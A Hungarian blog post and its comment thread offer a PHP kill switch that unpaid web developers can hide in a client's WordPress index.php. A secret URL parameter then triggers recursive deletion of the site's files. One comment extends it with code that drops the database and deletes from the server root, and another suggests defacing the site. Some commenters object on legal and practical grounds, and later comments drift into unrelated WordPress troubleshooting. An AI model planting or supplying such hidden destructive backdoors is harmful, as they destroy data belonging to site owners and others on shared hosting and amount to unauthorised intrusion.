WordPress honlap törlése

A lentebbi kód egy célt szolgál: wordpress honlap tartalmát tudod törölni úgy, hogy megnyitsz egy bizonyos URL-t. Akkor is, ha a WordPress honaphoz egyébként nincs hozzáférésed (sem FTP, sem WWW-s).

Kis plusz infó előzetesen: a SEO fórumon tette közzé AnagyZ az alábbi megoldást és az engedélyével készítek belőle cikket a lapra. Tehát …

Miért jó ez?

Gondolj bele egy pillanatra … honlapkészítéssel foglalkozol és megcsináltad a lapot, de nem fizették ki és egyik napról a másikra azt veszed észre, hogy elvették az admin jogod, a tárhelyről kizártak és nem akarják kifizetni a munkád díját.

Persze lehet mondani, hogy

  • Miért nem volt szerződéskötés?
  • Miért nem volt előleg?
  • Miért adta át a munkát a kifizetés előtt?
  • Miért nem a saját tárhelyen ment a fejlesztés?
  • stb …

Annak helyzetén ez nem segít, aki valami oknál fogva ilyen helyzetbe kényszerül és valljuk be, majd mindegyikünk volt már hasonló cipőben…

Nekik jelent egyfajta megoldást az alábbi kód:

<?php
 
if($_GET['ncode'] == "123456"){
 
function deldir($dirname) {
		if (is_dir($dirname))
				$dir_handle = opendir($dirname);
		if (!$dir_handle)
				return false;
		while($file = readdir($dir_handle)) {
				if ($file != "." && $file != "..") {
						if (!is_dir($dirname."/".$file))
								unlink($dirname."/".$file);
				else
						deldir($dirname.'/'.$file); 
				}
		}
		closedir($dir_handle);
		rmdir($dirname);
		return true;
}
 
deldir('.');
 
}
 
?>

A használati útmutató nem bonyolult:

A kódot másold be pl. az index.php (vagy bármelyik másik PHP fájlod) legelejére és az 123456 kódot írd át valami másra.

Innentől kezdve, ha ezt a fájlt megnyitod úgy, hogy az URL végére a “?ncode=123456 -t illeszted, a kód törli a wordpress tartalmát és a végén törli önmagát is.

Tehát egy minta URL: http://www.domainneved.hu/index.php?ncode=123456

A kódot és az ötletet az Olcsó honlap tulajdonosának, AnagyZ kollegának. :)

27 HOZZÁSZÓLÁS

  1. A fenti kód azért vicces, mert ha a wordpress oldal mellett volt egy fórum motor is, akkor simán letörli a fórumot, a feltöltött képekkel mindennel együtt. Cpanel esetén akár több komplett domain minden adatát törölhetjük ezzel a scripttel. Normális beállitású rendszerek esetén azonban max a wp-config.php -t ami azért kb 10 perc alatt helyre állítható.

    Ebben az esetben mi tartjuk a markunkat a weboldalunk áráért, a másik fél meg csak jól belecsap egy nagyot, és közli, hogy neki elveszett 3 év összes feltötött képe a fórumból, vagy az egyedi fejlesztésü comment rendszere, amin egy másik programozó már egy éve dolgozik, igy az őt ért kár 10x akkora mint a mi igényünk, igy legyünk olyan jók, és különbözetett adjuk már oda.

    Ezen felül kimeritjük a BTK vontakozó paragrafusait, a számitógépes rendszerekbe történő illegális behatolás résznél. Ráadásul a logokból elég egyértelmüen látszik hogy mi volt az utolsó olyan kérés amit még sikerült kiszolgálnia a rendszernek, így az ip cim alapján gyorsan meg is fognak találni.

    Ezen felül a legtöbb tárhely szolgáltató legalább 1 de inkább több napra vissza menő backupal rendelkezik, igy az aznap hajnali állapot vissza állítása nem fog nagy problémát okozni.

    Konkluzió: Semmilyen esetben sem lehet megoldás a tárhely tartalmának törlése, hiszen mindenképpen mi jövünk ki rosszúl a dologból.

  2. Ok, de alaphelyzet a cikken, hogy a wordpress van fent. :) Igazad van nagyon sok pontban, de a tapasztalat az, hogy ha vki nem fizet és hirtelen eltűnik a lapja, meggondolja magát.

    Lehet jobb lenne a kódot átírni úgy, hogy csak 1-1 fájlt töröljön a rendszerből (pl. a config-ot meg a theme-t és a plugin könyvtárat – ezekben lehet főleg egyedi tartalom amit te csináltál.)

    Az biztos, hogy nagyon sok átverés történik, röhej hogy neked kell futnod az elvégzett munkád és pénzed után és hiába mondják, hogy szerződést kell kötni, legtöbbször nem éri meg ezért évekig pereskedni.

    Nekem még mindig az tűnik a legjobb megoldásnak, hogy saját szerveren/tárhelyen kell csinálni a munkát, ott demozni, majd ha kész, kifizették, átrakni a végleges helyére.

  3. Ok, de ez miért csak a WordPress-hez jó? A fenti kód akár egy üres HTML fájlba is beilleszthető.

    A másik probléma pedig az, hogy ez nem igazán biztonságos. Több aggály is felmerül: 1. az, aki hozzáféréssel bír a forráskódhoz, el tudja olvasni a titkos kódunkat, ami elég gáz, ha ezt a módszert ugyanezzel a kóddal más honlapon is használtuk. 2. ha valaki tud róla, hogy ezt a rendszert alkalmazzuk, az bruteforce módszerrel elég hamar feltöri a kódunkat, legalábbis ha viszonylag rövid kódot választottunk.

    Esetleg sokat javíthatna a kódon, ha egy helyett legalább 2-3 karakterláncból álló kombinációt használnánk, és a forráskódban csupán egy MD5 hash-t tárolnánk. (Bár sajnos mostanában már az sem a legbiztonságosabb, mert vannak honlapok amik szótárazzák folyamatosan a szöveg – hash kombinációkat )

  4. Lehet máshoz is használni ezt a módszert, nem csak a wp-hez. A biztonság miatt én azért nem aggódnék, mert nyilván ezt érdemes más-más fájlba tenni és más-más kódot használni. Elég nehéz lenne bruteforce módszerrel törölni a lapot, ha

    – nem tudod, hogy használták-e a kódot
    – ha használták, milyen fájlba került
    – milyen kóddal kell meghívni a fájlt

    Ha van bármi ötlet, hogy oldanátok ezt meg Ti, illetve hogy milyen módon szoktátok kivédeni azt, hogy ne fizessék ki a munkátokat, írjátok meg. A cikk célja végül is ez lenne.

  5. annyira azért nem nehéz végigkeresni hogy melyik fájl tartalmazza az rmdir-t (persze, lehet kódolni a kódot, de ki fogja?)
    a legfőbb probléma inkább hogy az adatbázist érintetlenül hagyja, pedig a legtöbb (=nem-design) dolog ott van…

  6. Ha nagyon gonoszak vagyunk (és van jogosultsága a www felhasználónak a szerveren), akkor:

    if(isset($_GET['code']) &amp;&amp; $_GET['code'] == '1234567') {
        mysql_query('DROP DATABASE ' . DB_NAME); // adatbázis törlése
        unlink('.*'); // minden fájl törlése
                      // ha nincs jogosultság, akkor csak saját home könyvtárban
        rmdir('/'); // szerver gyökérkönyvtár törlése, nem biztos hogy működik
    }

    Fontos, hogy a konfiguráció behívása után helyezzük el a kódot!

  7. Ez egy jópofa script, én magam is készítettem már ilyesmit, bár szerencsére nem igen kellett használnom.

    Tény, hogy aggályokat vet fel, de ha megnézzük a túloldalról, akkor bizony jogosan törölheti az ember a munkáját, főként ha nem fizették ki, csak lenyúlták. és ha rosszul van confolva a host és mindent töröl… hát majd tanul belőle a kedves megrendelő.

  8. Akkor én mint host elmondom, hogy hogy látom a dolgot.

    Ad1, A webszervenek nem sok joga van törölni semmit. Még az ftp-én feltölött fileokat sem. Lehet, hogy kicsit kényelmetlenebb, de legalább rend van.

    Ad2, mivel van backup, a user elősször nállam fog sirni, hogy töltsem vissza a hiányzó file-jait, illetve engem vesz elő hogy hova lettek a file-ok. Pár óra nyomozás után meg fogom találni a kódot.

    Ad3, mivel nem én hibáztam, a nyomozás dijját kiszámlázom a megrendelő felé, akinek ez plussz, számlával igazolható költség, amit le fog verni a fejlesztőn.

    Ad4, a fejlesztőnek nincs szerződése, tehát jogilag nincs joga az adott oldallal foglalkozni, tehát amit csinált az illegális. Ha a megrendelőnek van erre bizonyítéka, és lessz (log file-ok révén) akkor a fejlesztő igen csak szorult helyzetben van, hiszen egyértemü, hogy ő volt a támadó.

    Megoldás: Ioncube / Zend encoder -el elkódolni az összes php-és munkát. igy a forrás kikerül a végleges helyére ahol müködhet a dolog, a megrendelő a végleges változatot tesztelheti, azonban mind a müködés ( beépitett idő korlátok) mind pedig a forráskód védelme megoldott.

    A fizetés megérkezése után pedig fel lehet rakni a kódolás nélküli változatot.

    Én szoktam a leghangosabban mondani, hogy ezek a rendszerek sem feltörhetetlenek, viszont egy átlagos weboldal 100-200e forinti költéségéhez mérten nem éri meg a megrendelőnek a forráskódot erővel vissza szerezni.

  9. A szerződés hiánya önmagában nem jelenti azt, hogy a megállapodás semmis. Ha van róla valamilyen írásos anyag (akár e-mail, pl.), akkor az már egyezségnek számít.

  10. Ne menjünk bele a jogosulatlan belépés, illetve az illegális felhasználás biró megitélésébe. A jelenlegi joggyakorlat alapján, ha az oldal tulajdonosa megvonta tölled az ftp belépést a site-hoz, és te módositod az oldal forráskódját, elköveted a jogsértést.

    Az, hogy az oldal nincs kifizetve, és neked ebből károd származik az egy másik jogeset.

    Ezért kell minden fejlesztési szerződésbi bele foglalni, hogy a kód a kifizetésig a te tulajdonodban marad, ergo ha törlöd akkor sem lehet egy szava sem. FONTOS azonban hogy az oldal által az ügyfélnél generált adatokat _NEM_ törölheted, hiszen az már az ügyfélé.

  11. Igen a szerver többi részére való kiterjesztés problémás.
    De igen ha volt mellette fórum akkor ugrott.

    Ja és localhoston ne kísérletezz vele.

    1. Ha csak a nemfizetők 70% fogod meg vele az már jelentős eredmény.
    2. Aki ezt kiszűrögeti az nem fog senkit megbízni fejlesztéssel.

  12. Nem gondolom, hogy ez megoldás lenne bármire.

    Igen, volt elég sok melóm, amit nem fizettek ki és belebuktam. Volt, hogy 7 számjegyű összeget, de akkor sem nyúltam ilyen eszközökhöz.

  13. DjZoNe, ha jól értem akkor milliós nagyságrendű munkádat átadtad, nem fizették ki (belebuktál ahogy írtad) és … mi? Azóta is vígan használják?

  14. Nem :)
    “Véletlenül” a dolog után kaptak egy apeh, vizsgálatot…
    Cég felszámolás és közügyektől eltiltás lett belőle. De, ez egy másik történet :)

  15. Szerintem szebb megoldás, ha előtte deface-eled az oldalt, és kirak egy üzenetet, hogy a webfejlesztés nem volt kifizetve, hogy minden látogató láthassa, kivel van dolga. Ez elég nagy presztízsvesztés a megrendelő számára, sok kliens elpártolhat tőle. Bár ez a megoldás is felvet pár jogi kérdést, mégis barátságosabb megoldásnak találom.

  16. Egyébként, a helyes eljárás szerintem a demo környezet.

    Ahol bemutatod a dolgot, és leokézza, és megjött a zsé, akkor teszed fel az elkészült alkalmzást/weboldalt a kért helyre.

  17. Nagy a harc a jogi témákban, de arra ki gondol: Miért akar valaki áfa nélkül weboldalt?
    Az elektronikus log-ok hamisíthatók, szóval azokkal nem lehet sokat bizonyítani.
    Talán a lekódolás és időkorlát marad a legjobb megoldás.

  18. Üdvözletem mindenkinek.

    Lassan rámegy az idegrendszerem a wordpress-re.
    Bocs, hogy ide írok, de a Tutorial.hu fórumra nem enged hozzászólást írni hiába regisztráltam már másodszor is (ugyanezzel névvel valamelyik nap, és ma már nem engedett belépni azzal az acc-al a fórumra). Feltenném a kérdésem a wordpress hivatalos magyar fórumán is, de 3 napja nem igazolják vissza a regisztrációmat. Írtam az atw felhasználói fórumára is, de még nem érkezett válasz.

    Sokféle wordpress hibáról olvastam gugliban, meg mindenféle tutorial videókat néztem jutubon, de az én gondomra sehol nem találtam választ.

    atw tárhelyre feltöltöttem egy wordpress-t, nem ír ki semmi hibát és tulajdonképpen működne is, de így néz ki: http://probaoldal-wp.atw.hu/

    nincs login oldal és azt mondja ha rákattintok valamire, hogy még nem töltöttem fel az oldalamat, vagy teljesen üres lapot ad.

    Mi lehet a gond?

    Nagyon megköszönném, ha bármi módon tudnátok segíteni.
    Ezt a hozzászólást ki lehet innen törölni persze, netán áthelyezni a fórumra, mert nem témábavágó, de nem tudtam máshol kommunikációt kezdeményezni veletek. Jó lenne ha a fórumra is betudnék lépni.

    Köszönettel Hajdu Miklós.

  19. A CSS fájlod tartalmát nézd meg, mert az tuti nem jó (lsd kódrészletet lentebb), vmit bekavar valszeg az ATW

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>Az oldal tulajdonosa még nem töltötte fel a kezdőlapját!</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    </head>
     
    <body bgcolor="FFFFFF">
    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td><div align="center"><img src="http://atw.hu/error/noindex.gif" width="433" height="105"></div></td>
      </tr>
    </table>
     
    </body>
    <!-- EXPLORER SUX ! ----------------------------------------------------------
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------>
    </html>
  20. Nem megy el, túl hosszút írtam.

    A lényeg, hogy nem értek a programozáshoz. Azt gondoltam, hogy egy tartalomkezelő rendszerhez csak tartalmat kell hozzá tennem, nem kell átprogramozni.

    Így most fogalmam sincs mit kellene csinálnom vele.

  21. Jól gondoltad, ideális esetben ez így is történik. Átprogramozni mondjuk most sem kell, csak a wordpress letöltött csomagjában megkeresni ezt a css fájlt és a tartalmával felüliratni a szerveren lévő css fájlt.

    Ha nem akarsz ennyit szenvedni egy cms-el, akkor a legjobb tanács amit adhatok: fizess egy normális tárhelyért vmennyit évente és megszűnnek az ilyen jellegű gondjaid. Az ingyenes tárhelyek nem ideális otthonai semmilyen honlapnak.

  22. Köszönöm a segítő szándékot, nem működik a dolog. A legújabb verziót felraktam, de ugyanezt produkálja. Ez megy: http://hajdum.wordpress.com/ de ez a wordpress szerverén van, ami viszont igen korlátozott. Most azon agyalok, hogy google analytics kódot hogyan lehetne bele szerkeszteni. Sajnos itt nincs hozzáférésem a fájlokhoz, widget meg nincs ehhez.

    A fórum nem működik? Nem tudok írni bele.

  23. Működik még, de nem szoktam már figyelni (az új regisztrációkat sem engedélyezem), nagyjából elhalt a fórum (az itteni komment lehetőség miatt).
    Csak a tartalom miatt hagyom kint.

HOZZÁSZÓLOK A CIKKHEZ

Kérjük, írja be véleményét!
írja be ide nevét